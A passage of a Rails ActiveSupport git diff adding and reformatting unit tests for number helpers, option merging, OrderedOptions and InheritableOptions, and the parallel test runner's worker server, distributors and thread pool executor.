+          assert_equal "-444 KB",    number_helper.number_to_human_size(kilobytes(-444))
+          assert_equal "-1.12 TB",   number_helper.number_to_human_size(-1234567890123)
+          assert_equal "-1.01 KB",   number_helper.number_to_human_size(kilobytes(-1.0100), precision: 4)
         end
       end
 
@@ -256,9 +306,10 @@ def test_number_to_human_size_with_options_hash
           assert_equal "10 MB", number_helper.number_to_human_size(9961472, precision: 0)
           assert_equal "40 KB", number_helper.number_to_human_size(41010, precision: 1)
           assert_equal "40 KB", number_helper.number_to_human_size(41100, precision: 2)
+          assert_equal "50 KB", number_helper.number_to_human_size(41100, precision: 1, round_mode: :up)
           assert_equal "1.0 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 2, strip_insignificant_zeros: false)
           assert_equal "1.012 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 3, significant: false)
-          assert_equal "1 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 0, significant: true) #ignores significant it precision is 0
+          assert_equal "1 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 0, significant: true) # ignores significant it precision is 0
         end
       end
 
@@ -287,10 +338,11 @@ def test_number_to_human
           assert_equal "490 Thousand", number_helper.number_to_human(489939, precision: 2)
           assert_equal "489.9 Thousand", number_helper.number_to_human(489939, precision: 4)
           assert_equal "489 Thousand", number_helper.number_to_human(489000, precision: 4)
+          assert_equal "480 Thousand", number_helper.number_to_human(489939, precision: 2, round_mode: :down)
           assert_equal "489.0 Thousand", number_helper.number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
           assert_equal "1.2346 Million", number_helper.number_to_human(1234567, precision: 4, significant: false)
           assert_equal "1,2 Million", number_helper.number_to_human(1234567, precision: 1, significant: false, separator: ",")
-          assert_equal "1 Million", number_helper.number_to_human(1234567, precision: 0, significant: true, separator: ",") #significant forced to false
+          assert_equal "1 Million", number_helper.number_to_human(1234567, precision: 0, significant: true, separator: ",") # significant forced to false
           assert_equal "1 Million", number_helper.number_to_human(999999)
           assert_equal "1 Billion", number_helper.number_to_human(999999999)
         end
@@ -298,13 +350,13 @@ def test_number_to_human
 
       def test_number_to_human_with_custom_units
         [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
-          #Only integers
+          # Only integers
           volume = { unit: "ml", thousand: "lt", million: "m3" }
           assert_equal "123 lt", number_helper.number_to_human(123456, units: volume)
           assert_equal "12 ml", number_helper.number_to_human(12, units: volume)
           assert_equal "1.23 m3", number_helper.number_to_human(1234567, units: volume)
 
-          #Including fractionals
+          # Including fractionals
           distance = { mili: "mm", centi: "cm", deci: "dm", unit: "m", ten: "dam", hundred: "hm", thousand: "km" }
           assert_equal "1.23 mm", number_helper.number_to_human(0.00123, units: distance)
           assert_equal "1.23 cm", number_helper.number_to_human(0.0123, units: distance)
@@ -317,16 +369,22 @@ def test_number_to_human_with_custom_units
           assert_equal "1.23 km", number_helper.number_to_human(1230, units: distance)
           assert_equal "12.3 km", number_helper.number_to_human(12300, units: distance)
 
-          #The quantifiers don't need to be a continuous sequence
+          # The quantifiers don't need to be a continuous sequence
           gangster = { hundred: "hundred bucks", million: "thousand quids" }
           assert_equal "1 hundred bucks", number_helper.number_to_human(100, units: gangster)
           assert_equal "25 hundred bucks", number_helper.number_to_human(2500, units: gangster)
+          assert_equal "1000 hundred bucks", number_helper.number_to_human(100_000, units: gangster)
+          assert_equal "1 thousand quids", number_helper.number_to_human(999_999, units: gangster)
+          assert_equal "1 thousand quids", number_helper.number_to_human(1_000_000, units: gangster)
           assert_equal "25 thousand quids", number_helper.number_to_human(25000000, units: gangster)
           assert_equal "12300 thousand quids", number_helper.number_to_human(12345000000, units: gangster)
 
-          #Spaces are stripped from the resulting string
+          # Spaces are stripped from the resulting string
           assert_equal "4", number_helper.number_to_human(4, units: { unit: "", ten: "tens " })
           assert_equal "4.5  tens", number_helper.number_to_human(45, units: { unit: "", ten: " tens   " })
+
+          # Uses only the provided units and does not try to use larger ones
+          assert_equal "1000 kilometers", number_helper.number_to_human(1_000_000, units: { unit: "meter", thousand: "kilometers" })
         end
       end
 
diff --git a/activesupport/test/option_merger_test.rb b/activesupport/test/option_merger_test.rb
index c5a6d304eec7a..54195024a964e 100644
--- a/activesupport/test/option_merger_test.rb
+++ b/activesupport/test/option_merger_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/core_ext/object/with_options"
 
 class OptionMergerTest < ActiveSupport::TestCase
@@ -6,13 +8,23 @@ def setup
     @options = { hello: "world" }
   end
 
+  def test_method_with_options_merges_string_options
+    local_options = { "cool" => true }
+
+    with_options(@options) do |o|
+      assert_equal local_options, method_with_options(local_options)
+      assert_equal @options.merge(local_options), o.method_with_options(local_options)
+    end
+  end
+
   def test_method_with_options_merges_options_when_options_are_present
     local_options = { cool: true }
 
     with_options(@options) do |o|
       assert_equal local_options, method_with_options(local_options)
-      assert_equal @options.merge(local_options),
-        o.method_with_options(local_options)
+      assert_equal @options.merge(local_options), o.method_with_options(local_options)
+      assert_equal @options.merge(local_options), o.method_with_kwargs(local_options)
+      assert_equal @options.merge(local_options), o.method_with_kwargs_only(local_options)
     end
   end
 
@@ -20,6 +32,14 @@ def test_method_with_options_appends_options_when_options_are_missing
     with_options(@options) do |o|
       assert_equal Hash.new, method_with_options
       assert_equal @options, o.method_with_options
+      assert_equal @options, o.method_with_kwargs
+      assert_equal @options, o.method_with_kwargs_only
+    end
+  end
+
+  def test_method_with_options_copies_options_when_options_are_missing
+    with_options(@options) do |o|
+      assert_not_same @options, o.method_with_options
     end
   end
 
@@ -29,13 +49,11 @@ def test_method_with_options_allows_to_overwrite_options
 
     with_options(@options) do |o|
       assert_equal local_options, method_with_options(local_options)
-      assert_equal @options.merge(local_options),
-        o.method_with_options(local_options)
+      assert_equal @options.merge(local_options), o.method_with_options(local_options)
       assert_equal local_options, o.method_with_options(local_options)
     end
     with_options(local_options) do |o|
-      assert_equal local_options.merge(@options),
-        o.method_with_options(@options)
+      assert_equal local_options.merge(@options), o.method_with_options(@options)
     end
   end
 
@@ -66,11 +84,19 @@ def test_nested_method_with_options_containing_hashes_going_deep
     end
   end
 
-  def test_nested_method_with_options_using_lambda
+  def test_nested_method_with_options_using_lambda_as_only_argument
     local_lambda = lambda { { lambda: true } }
     with_options(@options) do |o|
-      assert_equal @options.merge(local_lambda.call),
-        o.method_with_options(local_lambda).call
+      assert_equal @options.merge(local_lambda.call), o.method_with_options(local_lambda).call
+    end
+  end
+
+  def test_proc_as_first_argument_with_other_options_should_still_merge_options
+    local_proc = proc { }
+    local_options = { "cool" => true }
+
+    with_options(@options) do |o|
+      assert_equal [local_proc, @options.merge(local_options)], o.method_with_args(local_proc, local_options)
     end
   end
 
@@ -88,8 +114,43 @@ def test_option_merger_implicit_receiver
     assert_equal expected, @options
   end
 
+  def test_with_options_hash_like
+    hash_like = Class.new do
+      delegate :to_hash, :deep_merge, to: :@hash
+
+      def initialize(hash)
+        @hash = hash
+      end
+    end
+    local_options = { "cool" => true }
+    scope = with_options(hash_like.new(@options))
+
+    assert_equal local_options, method_with_options(local_options)
+    assert_equal @options.merge(local_options), scope.method_with_options(local_options)
+  end
+
+  def test_with_options_no_block
+    local_options = { "cool" => true }
+    scope = with_options(@options)
+
+    assert_equal local_options, method_with_options(local_options)
+    assert_equal @options.merge(local_options), scope.method_with_options(local_options)
+  end
+
   private
+    def method_with_args(*args)
+      args
+    end
+
     def method_with_options(options = {})
       options
     end
+
+    def method_with_kwargs(*args, **options)
+      options
+    end
+
+    def method_with_kwargs_only(**options)
+      options
+    end
 end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index 2cefab383226a..8d0d0cfabb844 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/json"
 require "active_support/core_ext/object/json"
 require "active_support/core_ext/hash/indifferent_access"
diff --git a/activesupport/test/ordered_options_test.rb b/activesupport/test/ordered_options_test.rb
index 04179112894b9..eb8b50c62f511 100644
--- a/activesupport/test/ordered_options_test.rb
+++ b/activesupport/test/ordered_options_test.rb
@@ -1,4 +1,7 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require "pp"
+require_relative "abstract_unit"
 require "active_support/ordered_options"
 
 class OrderedOptionsTest < ActiveSupport::TestCase
@@ -13,7 +16,7 @@ def test_usage
 
     a[:allow_concurrency] = false
     assert_equal 1, a.size
-    assert !a[:allow_concurrency]
+    assert_not a[:allow_concurrency]
 
     a["else_where"] = 56
     assert_equal 2, a.size
@@ -34,6 +37,24 @@ def test_looping
     end
   end
 
+  def test_string_dig
+    a = ActiveSupport::OrderedOptions.new
+
+    a[:test_key] = 56
+    assert_equal 56, a.test_key
+    assert_equal 56, a["test_key"]
+    assert_equal 56, a.dig(:test_key)
+    assert_equal 56, a.dig("test_key")
+  end
+
+  def test_nested_dig
+    a = ActiveSupport::OrderedOptions.new
+
+    a[:test_key] = [{ a: 1 }]
+    assert_equal 1, a.dig(:test_key, 0, :a)
+    assert_nil a.dig(:test_key, 1, :a)
+  end
+
   def test_method_access
     a = ActiveSupport::OrderedOptions.new
 
@@ -45,7 +66,7 @@ def test_method_access
 
     a.allow_concurrency = false
     assert_equal 1, a.size
-    assert !a.allow_concurrency
+    assert_not a.allow_concurrency
 
     a.else_where = 56
     assert_equal 2, a.size
@@ -80,8 +101,8 @@ def test_inheritable_options_inheritable_copy
 
   def test_introspection
     a = ActiveSupport::OrderedOptions.new
-    assert a.respond_to?(:blah)
-    assert a.respond_to?(:blah=)
+    assert_respond_to a, :blah
+    assert_respond_to a, :blah=
     assert_equal 42, a.method(:blah=).call(42)
     assert_equal 42, a.method(:blah).call
   end
@@ -89,7 +110,20 @@ def test_introspection
   def test_raises_with_bang
     a = ActiveSupport::OrderedOptions.new
     a[:foo] = :bar
-    assert a.respond_to?(:foo!)
+    assert_respond_to a, :foo!
+
+    assert_nothing_raised { a.foo! }
+    assert_equal a.foo, a.foo!
+
+    assert_raises(KeyError) do
+      a.foo = nil
+      a.foo!
+    end
+    assert_raises(KeyError) { a.non_existing_key! }
+  end
+
+  def test_inheritable_options_with_bang
+    a = ActiveSupport::InheritableOptions.new(foo: :bar)
 
     assert_nothing_raised { a.foo! }
     assert_equal a.foo, a.foo!
@@ -100,4 +134,191 @@ def test_raises_with_bang
     end
     assert_raises(KeyError) { a.non_existing_key! }
   end
+
+  def test_ordered_option_inspect
+    a = ActiveSupport::OrderedOptions.new
+    assert_equal "#<ActiveSupport::OrderedOptions {}>", a.inspect
+
+    a.foo   = :bar
+    a[:baz] = :quz
+
+    assert_equal "#<ActiveSupport::OrderedOptions #{{ foo: :bar, baz: :quz }}>", a.inspect
+  end
+
+  def test_inheritable_option_inspect
+    object = ActiveSupport::InheritableOptions.new(one: "first value")
+    assert_equal "#<ActiveSupport::InheritableOptions #{{ one: "first value" }}>", object.inspect
+
+    object[:two] = "second value"
+    object["three"] = "third value"
+    assert_equal "#<ActiveSupport::InheritableOptions #{{ one: "first value", two: "second value", three: "third value" }}>", object.inspect
+  end
+
+  def test_ordered_options_to_h
+    object = ActiveSupport::OrderedOptions.new
+    assert_equal({}, object.to_h)
+    object.one = "first value"
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    assert_equal({ one: "first value", two: "second value", three: "third value" }, object.to_h)
+  end
+
+  def test_inheritable_options_to_h
+    object = ActiveSupport::InheritableOptions.new(one: "first value")
+    assert_equal({ one: "first value" }, object.to_h)
+
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    assert_equal({ one: "first value", two: "second value", three: "third value" }, object.to_h)
+  end
+
+  def test_ordered_options_dup
+    object = ActiveSupport::OrderedOptions.new
+    object.one = "first value"
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    duplicate = object.dup
+    assert_equal object, duplicate
+    assert_not_equal object.object_id, duplicate.object_id
+  end
+
+  def test_inheritable_options_dup
+    object = ActiveSupport::InheritableOptions.new(one: "first value")
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    duplicate = object.dup
+    assert_equal object, duplicate
+    assert_not_equal object.object_id, duplicate.object_id
+  end
+
+  def test_ordered_options_key
+    object = ActiveSupport::OrderedOptions.new
+    object.one = "first value"
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    assert object.key?(:one)
+    assert_not object.key?("one")
+    assert object.key?(:two)
+    assert_not object.key?("two")
+    assert object.key?(:three)
+    assert_not object.key?("three")
+    assert_not object.key?(:four)
+  end
+
+  def test_inheritable_options_key
+    object = ActiveSupport::InheritableOptions.new(one: "first value")
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    assert object.key?(:one)
+    assert_not object.key?("one")
+    assert object.key?(:two)
+    assert_not object.key?("two")
+    assert object.key?(:three)
+    assert_not object.key?("three")
+    assert_not object.key?(:four)
+  end
+
+  def test_inheritable_options_overridden
+    object = ActiveSupport::InheritableOptions.new(one: "first value", two: "second value", three: "third value")
+    object["one"] = "first value override"
+    object[:two] = "second value override"
+
+    assert object.overridden?(:one)
+    assert_equal "first value override", object.one
+    assert object.overridden?(:two)
+    assert_equal "second value override", object.two
+    assert_not object.overridden?(:three)
+    assert_equal "third value", object.three
+  end
+
+  def test_inheritable_options_overridden_with_nil
+    object = ActiveSupport::InheritableOptions.new
+    object["one"] = "first value override"
+    object[:two] = "second value override"
+
+    assert_not object.overridden?(:one)
+    assert_equal "first value override", object.one
+    assert_not object.overridden?(:two)
+    assert_equal "second value override", object.two
+  end
+
+  def test_inheritable_options_each
+    object = ActiveSupport::InheritableOptions.new(one: "first value", two: "second value")
+    object["one"] = "first value override"
+    object[:three] = "third value"
+
+    count = 0
+    keys = []
+    object.each do |key, value|
+      count += 1
+      keys << key
+    end
+    assert_equal 3, count
+    assert_equal [:one, :two, :three], keys
+  end
+
+  def test_inheritable_options_to_a
+    object = ActiveSupport::InheritableOptions.new(one: "first value", two: "second value")
+    object["one"] = "first value override"
+    object[:three] = "third value"
+
+    assert_equal [[:one, "first value override"], [:two, "second value"], [:three, "third value"]], object.entries
+    assert_equal [[:one, "first value override"], [:two, "second value"], [:three, "third value"]], object.to_a
+  end
+
+  def test_inheritable_options_count
+    object = ActiveSupport::InheritableOptions.new(one: "first value", two: "second value")
+    object["one"] = "first value override"
+    object[:three] = "third value"
+
+    assert_equal 3, object.count
+  end
+
+  def test_ordered_options_to_s
+    object = ActiveSupport::OrderedOptions.new
+    assert_equal "{}", object.to_s
+
+    object.one = "first value"
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    assert_equal({ one: "first value", two: "second value", three: "third value" }.inspect, object.to_s)
+  end
+
+  def test_inheritable_options_to_s
+    object = ActiveSupport::InheritableOptions.new(one: "first value")
+    assert_equal({ one: "first value" }.inspect, object.to_s)
+
+    object[:two] = "second value"
+    object["three"] = "third value"
+    assert_equal({ one: "first value", two: "second value", three: "third value" }.inspect, object.to_s)
+  end
+
+  def test_odrered_options_pp
+    object = ActiveSupport::OrderedOptions.new
+    object.one = "first value"
+    object[:two] = "second value"
+    object["three"] = "third value"
+
+    io = StringIO.new
+    PP.pp(object, io)
+    assert_equal({ one: "first value", two: "second value", three: "third value" }.inspect, io.string.strip)
+  end
+
+  def test_inheritable_options_pp
+    object = ActiveSupport::InheritableOptions.new(one: "first value")
+    object[:two] = "second value"
+    object["three"] = "third value"
+    assert_equal({ one: "first value", two: "second value", three: "third value" }.inspect, object.to_s)
+
+    io = StringIO.new
+    PP.pp(object, io)
+    assert_equal({ one: "first value", two: "second value", three: "third value" }.inspect, io.string.strip)
+  end
 end
diff --git a/activesupport/test/parallelization/server_test.rb b/activesupport/test/parallelization/server_test.rb
new file mode 100644
index 0000000000000..0b18d06230324
--- /dev/null
+++ b/activesupport/test/parallelization/server_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+
+class ServerTest < ActiveSupport::TestCase
+  test "server tracks active workers" do
+    distributor = ActiveSupport::Testing::Parallelization::SharedQueueDistributor.new
+    server = ActiveSupport::Testing::Parallelization::Server.new(distributor: distributor)
+
+    assert_not server.active_workers?
+
+    server.start_worker("worker-1", 1234)
+    assert server.active_workers?
+
+    server.stop_worker("worker-1", 1234)
+    assert_not server.active_workers?
+  end
+
+  test "server removes dead workers" do
+    distributor = ActiveSupport::Testing::Parallelization::SharedQueueDistributor.new
+    server = ActiveSupport::Testing::Parallelization::Server.new(distributor: distributor)
+
+    server.start_worker("worker-1", 1234)
+    server.start_worker("worker-2", 5678)
+    assert server.active_workers?
+
+    server.remove_dead_workers([1234])
+    assert server.active_workers?  # worker-2 still active
+
+    server.remove_dead_workers([5678])
+    assert_not server.active_workers?  # all workers gone
+  end
+end
diff --git a/activesupport/test/parallelization/test_distributor_test.rb b/activesupport/test/parallelization/test_distributor_test.rb
new file mode 100644
index 0000000000000..5180b3fc57f62
--- /dev/null
+++ b/activesupport/test/parallelization/test_distributor_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+
+class TestDistributorTest < ActiveSupport::TestCase
+  test "distributes tests round-robin as they arrive" do
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinDistributor.new(
+      worker_count: 2
+    )
+
+    # Add tests and they should be distributed immediately
+    distributor.add_test(["Test1", "test_a", nil])
+    distributor.add_test(["Test2", "test_b", nil])
+    distributor.add_test(["Test3", "test_c", nil])
+
+    # Worker 0 should get Test1 and Test3 (indexes 0 and 2)
+    test1 = distributor.take(worker_id: 0)
+    assert_equal "Test1", test1[0]
+
+    test3 = distributor.take(worker_id: 0)
+    assert_equal "Test3", test3[0]
+
+    # Worker 1 should get Test2 (index 1)
+    test2 = distributor.take(worker_id: 1)
+    assert_equal "Test2", test2[0]
+  end
+
+  test "interrupt clears pending tests" do
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinDistributor.new(
+      worker_count: 2
+    )
+
+    distributor.add_test(["FooTest", "test_a", nil])
+    distributor.add_test(["BarTest", "test_b", nil])
+    assert distributor.pending?
+
+    distributor.interrupt
+    assert_not distributor.pending?
+  end
+
+  test "close stops accepting tests and closes queues" do
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinDistributor.new(
+      worker_count: 2
+    )
+
+    distributor.add_test(["FooTest", "test_a", nil])
+    distributor.add_test(["BarTest", "test_b", nil])
+
+    distributor.close
+
+    # After close, adding tests should be ignored
+    distributor.add_test(["Test3", "test_c", nil])
+
+    # Can still drain queued tests
+    test1 = distributor.take(worker_id: 0)
+    assert_equal "FooTest", test1[0]
+
+    # Worker 1 gets its test
+    test2 = distributor.take(worker_id: 1)
+    assert_equal "BarTest", test2[0]
+
+    # No Test3 because it was added after close
+    assert_nil distributor.take(worker_id: 0)
+    assert_nil distributor.take(worker_id: 1)
+  end
+
+  test "work stealing distributor steals work from other workers when queue empty" do
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinWorkStealingDistributor.new(
+      worker_count: 2
+    )
+
+    # Add 3 tests - with round-robin, worker 0 gets Test1 and Test3, worker 1 gets Test2
+    distributor.add_test(["Test1", "test_a", nil])
+    distributor.add_test(["Test2", "test_b", nil])
+    distributor.add_test(["Test3", "test_c", nil])
+
+    # Close to signal no more tests coming
+    distributor.close
+
+    # Worker 0 takes its tests
+    test1 = distributor.take(worker_id: 0)
+    assert_equal "Test1", test1[0]
+    test3 = distributor.take(worker_id: 0)
+    assert_equal "Test3", test3[0]
+
+    # Worker 1 takes its test
+    test2 = distributor.take(worker_id: 1)
+    assert_equal "Test2", test2[0]
+
+    # Now both queues are empty and closed - workers get nil
+    assert_nil distributor.take(worker_id: 0)
+    assert_nil distributor.take(worker_id: 1)
+  end
+
+  test "work stealing distributor returns nil when no work available anywhere" do
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinWorkStealingDistributor.new(
+      worker_count: 2
+    )
+
+    distributor.add_test(["Test1", "test_a", nil])
+    distributor.add_test(["Test2", "test_b", nil])
+
+    # Close to signal no more tests
+    distributor.close
+
+    # Drain all tests
+    distributor.take(worker_id: 0)  # Takes Test1
+    distributor.take(worker_id: 1)  # Takes Test2
+
+    # No work left anywhere, queues are closed
+    assert_nil distributor.take(worker_id: 0)
+    assert_nil distributor.take(worker_id: 1)
+  end
+
+  test "SharedQueueDistributor distributes tests to any worker" do
+    distributor = ActiveSupport::Testing::Parallelization::SharedQueueDistributor.new
+
+    distributor.add_test(["Test1", "test_a", nil])
+    distributor.add_test(["Test2", "test_b", nil])
+
+    # Any worker can get any test
+    test1 = distributor.take(worker_id: 0)
+    test2 = distributor.take(worker_id: 1)
+
+    assert_not_nil test1
+    assert_not_nil test2
+    assert_not_equal test1[0], test2[0]
+  end
+
+  test "SharedQueueDistributor pending? reflects queue state" do
+    distributor = ActiveSupport::Testing::Parallelization::SharedQueueDistributor.new
+
+    assert_not distributor.pending?
+
+    distributor.add_test(["Test1", "test_a", nil])
+    assert distributor.pending?
+
+    distributor.take(worker_id: 0)
+    assert_not distributor.pending?
+  end
+end
diff --git a/activesupport/test/parallelization/thread_pool_executor_test.rb b/activesupport/test/parallelization/thread_pool_executor_test.rb
new file mode 100644
index 0000000000000..7515326be2997
--- /dev/null
+++ b/activesupport/test/parallelization/thread_pool_executor_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+
+class ThreadPoolExecutorTest < ActiveSupport::TestCase
+  test "executes tests in thread pool" do
+    results = Concurrent::Array.new
+    reporter = Minitest::CompositeReporter.new
+
+    # Track which tests ran
+    reporter.reporters << Class.new do
+      define_method(:prerecord) { |*| }
+      define_method(:record) { |result| results << result.name }
+    end.new
+
+    mock_test_class = Class.new(Minitest::Test) do
+      def self.name
+        "MockTest"
+      end
+
+      def test_foo
+        assert true
+      end
+
+      def test_bar
+        assert true
+      end
+    end
+
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinDistributor.new(worker_count: 2)
+
+    distributor.add_test([mock_test_class, "test_foo", reporter])
+    distributor.add_test([mock_test_class, "test_bar", reporter])
+
+    executor = ActiveSupport::Testing::Parallelization::ThreadPoolExecutor.new(
+      size: 2,
+      distributor: distributor
+    )
+
+    executor.start
+    executor.shutdown
+
+    assert_equal 2, results.size
+    assert_includes results, "test_foo"
+    assert_includes results, "test_bar"
+  end
+
+  test "distributes work using round robin distributor" do
+    worker_assignments = Concurrent::Hash.new
+
+    reporter = Minitest::CompositeReporter.new
+    reporter.reporters << Class.new do
+      attr_accessor :worker_assignments
+
+      define_method(:prerecord) { |*| }
+      define_method(:record) do |result|
+        # Track which thread ran which test
+        worker_assignments[Thread.current] ||= []
+        worker_assignments[Thread.current] << result.name
+      end
+    end.new.tap { |r| r.worker_assignments = worker_assignments }
+
+    mock_test_class = Class.new(Minitest::Test) do
+      def self.name
+        "MockTest"
+      end
+
+      def test_a; assert true; end
+      def test_b; assert true; end
+      def test_c; assert true; end
+      def test_d; assert true; end
+    end
+
+    distributor = ActiveSupport::Testing::Parallelization::RoundRobinDistributor.new(worker_count: 2)
+
+    distributor.add_test([mock_test_class, "test_a", reporter])
+    distributor.add_test([mock_test_class, "test_b", reporter])
+    distributor.add_test([mock_test_class, "test_c", reporter])
+    distributor.add_test([mock_test_class, "test_d", reporter])
+
+    executor = ActiveSupport::Testing::Parallelization::ThreadPoolExecutor.new(
+      size: 2,
+      distributor: distributor
+    )
+
+    executor.start
+    executor.shutdown
+
+    # Verify tests were distributed across threads
+    assert_equal 2, worker_assignments.size
+    assert worker_assignments.values.all? { |tests| tests.size > 0 }
+  end
+end
diff --git a/activesupport/test/parallelization_test.rb b/activesupport/test/parallelization_test.rb
new file mode 100644
index 0000000000000..e9e2b4dc9c667
--- /dev/null
+++ b/activesupport/test/parallelization_test.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class ParallelizationTest < ActiveSupport::TestCase
+  def setup
+    @original_worker_id = ActiveSupport::TestCase.parallel_worker_id
+  end
+
+  def teardown
+    ActiveSupport::TestCase.parallel_worker_id = @original_worker_id
+  end
+
+  test "parallel_worker_id is accessible as an attribute and method" do
+    ActiveSupport::TestCase.parallel_worker_id = nil
+    assert_nil ActiveSupport::TestCase.parallel_worker_id
+    assert_nil parallel_worker_id
+  end
+
+  test "parallel_worker_id is set and accessible from class and instance" do
+    ActiveSupport::TestCase.parallel_worker_id = 3
+
+    assert_equal 3, ActiveSupport::TestCase.parallel_worker_id
+    assert_equal 3, parallel_worker_id
+  end
+
+  test "parallel_worker_id persists across test subclasses" do
+    ActiveSupport::TestCase.parallel_worker_id = 5
+
+    subclass = Class.new(ActiveSupport::TestCase)
+    assert_equal 5, subclass.parallel_worker_id
+
+    instance = subclass.new("test")
+    assert_equal 5, instance.parallel_worker_id
+  end
+
+  test "shutdown handles dead workers gracefully" do
+    # Use a blocking queue strategy so workers wait for work
+    blocking_distributor = ActiveSupport::Testing::Parallelization::SharedQueueDistributor.new
+
+    parallelization = ActiveSupport::Testing::Parallelization.new(1)
+    server = parallelization.instance_variable_get(:@queue_server)
+
+    # Replace distributor with one that blocks
+    server.instance_variable_set(:@distributor, blocking_distributor)
+
+    parallelization.start
+
+    sleep 0.5
+
+    assert server.active_workers?
+
+    worker_pids = parallelization.instance_variable_get(:@worker_pool)
+    Process.kill("KILL", worker_pids.first)
+    sleep 0.25
+
+    Timeout.timeout(2.5, Minitest::Assertion, "Expected shutdown to not hang") { parallelization.shutdown }
+    assert_not server.active_workers?
+  end
+
+  test "seeded distribution assigns tests to workers round-robin" do
+    worker_count = 2
+
+    # Simulate test collection
+    tests = [
+      ["TestClass1", "test_a", nil],
+      ["TestClass1", "test_b", nil],
+      ["TestClass2", "test_c", nil],
+      ["TestClass2", "test_d", nil],
+      ["TestClass3", "test_e", nil],
+      ["TestClass3", "test_f", nil]
+    ]
+
+    # Mock seed and runnables before creating parallelization
+    Minitest.stub :seed, 12345 do
+      mock_runnable = Class.new do
+        def self.runnable_methods
+          ["test_a", "test_b"]
+        end
+      end
+
+      Minitest::Runnable.stub :runnables, [mock_runnable, mock_runnable, mock_runnable] do
+        parallelization = ActiveSupport::Testing::Parallelization.new(worker_count)
+
+        # Access the distributor through the server
+        server = parallelization.instance_variable_get(:@queue_server)
+        distributor = server.instance_variable_get(:@distributor)
+
+        # Verify it's a seeded distributor
+        assert_instance_of ActiveSupport::Testing::Parallelization::RoundRobinDistributor, distributor
+
+        # Enqueue tests - they'll be distributed round-robin immediately
+        tests.each { |test| parallelization << test }
+
+        # Close distributor to signal no more tests will come
+        distributor.close
+
+        # Collect tests from each worker by calling take
+        worker_0_tests = []
+        worker_1_tests = []
+
+        # Drain worker 0's queue - should get tests at indexes 0, 2, 4
+        while test = distributor.take(worker_id: 0)
+          worker_0_tests << test
+        end
+
+        # Drain worker 1's queue - should get tests at indexes 1, 3, 5
+        while test = distributor.take(worker_id: 1)
+          worker_1_tests << test
+        end
+
+        # Verify all tests were distributed
+        assert_equal tests.size, worker_0_tests.size + worker_1_tests.size
+
+        # Verify round-robin distribution (each worker gets 3 tests)
+        assert_equal 3, worker_0_tests.size
+        assert_equal 3, worker_1_tests.size
+      end
+    end
+  end
+
+  test "seeded distribution produces same assignment with same seed" do
+    worker_count = 2
+    tests = [
+      ["TestClass1", "test_a", nil],
+      ["TestClass1", "test_b", nil],
+      ["TestClass2", "test_c", nil],
+      ["TestClass2", "test_d", nil]
+    ]
+
+    mock_runnable = Class.new do
+      def self.runnable_methods
+        ["test_a", "test_b"]
+      end
+    end
+
+    # Run with same seed twice
+    seed = 54321
+    distributions = 2.times.map do
+      Minitest.stub :seed, seed do
+        Minitest::Runnable.stub :runnables, [mock_runnable, mock_runnable] do
+          parallelization = ActiveSupport::Testing::Parallelization.new(worker_count)
+
+          # Enqueue tests in same order (they arrive pre-shuffled from Minitest)
+          tests.each { |test| parallelization << test }
+
+          server = parallelization.instance_variable_get(:@queue_server)
+          distributor = server.instance_variable_get(:@distributor)
+
+          # Close to signal no more tests
+          distributor.close
+
+          # Drain all tests from all workers
+          all_tests = []
+          worker_count.times do |worker_id|
+            while test = distributor.take(worker_id: worker_id)
+              all_tests << [worker_id, test[0..1]]
+            end
+          end
+          all_tests
+        end
+      end
+    end
+
+    # Verify both runs have identical distribution
+    assert_equal distributions[0], distributions[1]
+  end
+
+  test "seeded distribution produces different assignment with different seed" do
+    worker_count = 2
+
+    mock_runnable = Class.new do
+      def self.runnable_methods
+        ["test_a", "test_b"]
+      end
+    end
+
+    # Run with different seeds - this simulates Minitest shuffling tests differently
+    distributions = [12345, 67890].map do |seed|
+      Minitest.stub :seed, seed do
+        Minitest::Runnable.stub :runnables, [mock_runnable, mock_runnable] do
+          parallelization = ActiveSupport::Testing::Parallelization.new(worker_count)
+
+          # Simulate tests arriving in different order based on seed
+          # In reality, Minitest would shuffle these differently
+          tests = [
+            ["TestClass1", "test_a", nil],
+            ["TestClass1", "test_b", nil],
+            ["TestClass2", "test_c", nil],
+            ["TestClass2", "test_d", nil]
+          ].shuffle(random: Random.new(seed))
+
+          tests.each { |test| parallelization << test }
+
+          server = parallelization.instance_variable_get(:@queue_server)
+          distributor = server.instance_variable_get(:@distributor)
+
+          # Close to signal no more tests
+          distributor.close
+
+          # Capture which tests each worker gets, preserving order
+          worker_tests = {}
+          worker_count.times do |worker_id|
+            worker_tests[worker_id] = []
+            while test = distributor.take(worker_id: worker_id)
+              worker_tests[worker_id] << test[0..1]
+            end
+          end
+          worker_tests
+        end
+      end
+    end
+
